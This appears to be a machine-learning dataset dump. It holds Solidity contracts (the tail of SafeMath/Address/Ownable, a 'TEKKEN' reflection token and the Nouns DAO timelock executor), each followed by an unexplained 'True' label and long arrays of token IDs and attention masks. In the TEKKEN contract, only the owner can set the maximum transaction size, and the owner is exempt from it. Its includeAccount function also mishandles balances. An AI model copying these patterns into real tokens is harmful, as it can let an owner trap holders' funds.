* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TEKKEN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Vitali Mishima VS Elon Kazama';
string private _symbol = 'TEKKEN';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 10000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(0);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5840,
1011,
2654,
1008,
1013,
1013,
1008,
1008,
1008,
1996,
2345,
2645,
2090,
8995,
2072,
28616,
16369,
1004,
3449,
2239,
10556,
20722,
2050,
1011,
15908,
24192,
1012,
4012,
1008,
1013,
1013,
1008,
1008,
1008,
100,
100,
1002,
8915,
24192,
8995,
2072,
28616,
16369,
1004,
3449,
2239,
10556,
20722,
2050,
15908,
24192,
1012,
4012,
1011,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
8995,
27605,
24772,
15088,
18349,
25804,
20722,
2050,
1011,
4189,
1004,
22150,
4888,
2053,
3653,
12002,
2063,
1013,
5299,
6381,
3012,
2005,
1020,
2706,
16475,
2069,
4324,
1015,
1003,
1997,
2561,
4425,
1008,
1013,
1013,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
// SPDX-License-Identifier: BSD-3-Clause
/// @title The Nouns DAO executor and treasury
/*********************************
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░██░░░████░░██░░░████░░░ *
* ░░██████░░░████████░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
*********************************/
// LICENSE
// NounsDAOExecutor.sol is a modified version of Compound Lab's Timelock.sol:
// https://github.com/compound-finance/compound-protocol/blob/20abad28055a2f91df48a90f8bb6009279a4cb35/contracts/Timelock.sol
//
// Timelock.sol source code Copyright 2020 Compound Labs, Inc. licensed under the BSD-3-Clause license.
// With modifications by Nounders DAO.
//
// Additional conditions of BSD-3-Clause can be found here: https://opensource.org/licenses/BSD-3-Clause
//
// MODIFICATIONS
// NounsDAOExecutor.sol modifies Timelock to use Solidity 0.8.x receive(), fallback(), and built-in over/underflow protection
// This contract acts as executor of Nouns DAO governance and its treasury, so it has been modified to accept ETH.
pragma solidity ^0.8.6;
contract NounsDAOExecutor {
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint256 indexed newDelay);
event CancelTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event ExecuteTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event QueueTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
uint256 public constant GRACE_PERIOD = 14 days;
uint256 public constant MINIMUM_DELAY = 2 days;
uint256 public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint256 public delay;
mapping(bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint256 delay_) {
require(delay_ >= MINIMUM_DELAY, 'NounsDAOExecutor::constructor: Delay must exceed minimum delay.');
require(delay_ <= MAXIMUM_DELAY, 'NounsDAOExecutor::setDelay: Delay must not exceed maximum delay.');
admin = admin_;
delay = delay_;
}
function setDelay(uint256 delay_) public {
require(msg.sender == address(this), 'NounsDAOExecutor::setDelay: Call must come from NounsDAOExecutor.');
require(delay_ >= MINIMUM_DELAY, 'NounsDAOExecutor::setDelay: Delay must exceed minimum delay.');
require(delay_ <= MAXIMUM_DELAY, 'NounsDAOExecutor::setDelay: Delay must not exceed maximum delay.');
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, 'NounsDAOExecutor::acceptAdmin: Call must come from pendingAdmin.');
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(
msg.sender == address(this),
'NounsDAOExecutor::setPendingAdmin: Call must come from NounsDAOExecutor.'
);
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public returns (bytes32) {
require(msg.sender == admin, 'NounsDAOExecutor::queueTransaction: Call must come from admin.');
require(
eta >= getBlockTimestamp() + delay,
'NounsDAOExecutor::queueTransaction: Estimated execution block must satisfy delay.'
);
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public {
require(msg.sender == admin, 'NounsDAOExecutor::cancelTransaction: Call must come from admin.');
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public returns (bytes memory) {
require(msg.sender == admin, 'NounsDAOExecutor::executeTransaction: Call must come from admin.');
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "NounsDAOExecutor::executeTransaction: Transaction hasn't been queued.");
require(
getBlockTimestamp() >= eta,
"NounsDAOExecutor::executeTransaction: Transaction hasn't surpassed time lock."
);
require(
getBlockTimestamp() <= eta + GRACE_PERIOD,
'NounsDAOExecutor::executeTransaction: Transaction is stale.'
);
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{ value: value }(callData);
require(success, 'NounsDAOExecutor::executeTransaction: Transaction execution reverted.');
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint256) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
receive() external payable {}
fallback() external payable {}
}
| True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
18667,
2094,
1011,
1017,
1011,
11075,
1013,
1013,
1013,
1030,
2516,
1996,
19211,
4830,
2080,
4654,
8586,
16161,
2099,
1998,
9837,
1013,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
100,
1008,
1008,
100,
1008,
1008,
100,
1008,
1008,
100,
1008,
1008,
100,
1008,
1008,
100,
1008,
1008,
100,
1008,
1008,
100,
1008,
1008,
100,
1008,
1008,
100,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1013,
1013,
1013,
6105,
1013,
1013,
19211,
2850,
8913,
2595,
8586,
16161,
2099,
1012,
14017,
2003,
1037,
6310,
2544,
1997,
7328,
6845,
1005,
1055,
2051,
7878,
1012,
14017,
1024,
1013,
1013,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
7328,
1011,
5446,
1013,
7328,
1011,
8778,
1013,
1038,
4135,
2497,
1013,
2322,
10542,
22407,
2692,
24087,
2050,
2475,
2546,
2683,
2487,
20952,
18139,
2050,
21057,
2546,
2620,
10322,
16086,
2692,
2683,
22907,
2683,
2050,
2549,
27421,
19481,
1013,
8311,
1013,
2051,
7878,
1012,
14017,
1013,
1013,
1013,
1013,
2051,
7878,
1012,
14017,
3120,
3642,
9385,
12609,
7328,
13625,
1010,
4297,
1012,
7000,
2104,
1996,
18667,
2094,
1011,
1017,
1011,
11075,
6105,
1012,
1013,
1013,
2007,
12719,
2011,
15156,
13375,
4830,
2080,
1012,
1013,
1013,
1013,
1013,
3176,
3785,
1997,
18667,
2094,
1011,
1017,
1011,
11075,
2064,
2022,
2179,
2182,
1024,
16770,
1024,
1013,
1013,
7480,
8162,
3401,
1012,
8917,
1013,
15943,
1013,
18667,
2094,
1011,
1017,
1011,
11075,
1013,
1013,
1013,
1013,
12719,
1013,
1013,
19211,
2850,
8913,
2595,
8586,
16161,
2099,
1012,
14017,
16913,
14144,
2051,
7878,
2000,
2224,
5024,
3012,
1014,
1012,
1022,
1012,
1060,
4374,
1006,
1007,
1010,
2991,
5963,
1006,
1007,
1010,
1998,
2328,
1011,
1999,
2058,
1013,
2104,
12314,
3860,
1013,
1013,
2023,
3206,
4490,
2004,
4654,
8586,
16161,
2099,
1997,
19211,
4830,
2080,
10615,
1998,
2049,
9837,
1010,
2061,
2009,
2038,
2042,
6310,
2000,
5138,
3802,
2232,
1012,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1020,
1025,
3206,
19211,
2850,
8913,
2595,
8586,
16161,
2099,
1063,
2724,
2047,
4215,
10020,
1006,
4769,
25331,
2047,
4215,
10020,
1007,
1025,
2724,
2047,
11837,
4667,
4215,
10020,
1006,
4769,
25331,
2047,
11837,
4667,
4215,
10020,
1007,
1025,
2724,
2047,
9247,
4710,
1006,
21318,
3372,
17788,
2575,
25331,
2047,
9247,
4710,
1007,
1025,
2724,
17542,
6494,
3619,
18908,
3258,
1006,
27507,
16703,
25331,
19067,
14949,
2232,
1010,
